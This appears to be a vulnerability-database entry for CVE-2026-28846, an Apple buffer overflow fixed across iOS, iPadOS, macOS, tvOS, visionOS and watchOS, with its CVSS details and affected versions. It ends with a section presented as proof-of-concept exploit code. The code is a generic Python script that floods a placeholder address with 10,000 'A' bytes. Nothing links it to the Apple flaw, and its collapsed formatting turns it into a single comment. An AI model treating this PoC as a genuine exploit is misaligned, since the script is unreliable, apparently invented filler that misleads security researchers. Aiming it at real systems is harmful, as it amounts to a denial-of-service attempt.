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CVE-2026-28846 CVSS 7.5 HIGH

CVE-2026-28846

Published: 2026-05-11 21:18:51
Last Modified: 2026-05-13 13:46:03

Description

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause unexpected app termination.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 18.7.9
iOS < 26.5
iPadOS < 18.7.9
iPadOS < 26.5
macOS Sequoia < 15.7.7
macOS Sonoma < 14.8.7
macOS Tahoe < 26.5
tvOS < 26.5
visionOS < 26.5
watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target IP and Port (Placeholder) target_ip = "192.168.1.10" target_port = 8080 # Constructing a malicious payload to trigger buffer overflow # Sending a large string of 'A' characters to bypass bounds checking payload = b"A" * 10000 try: # Establishing a connection to the vulnerable service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Sending the malicious payload s.send(payload) print("Payload sent successfully.") s.close() except Exception as e: print(f"An error occurred: {e}")

References

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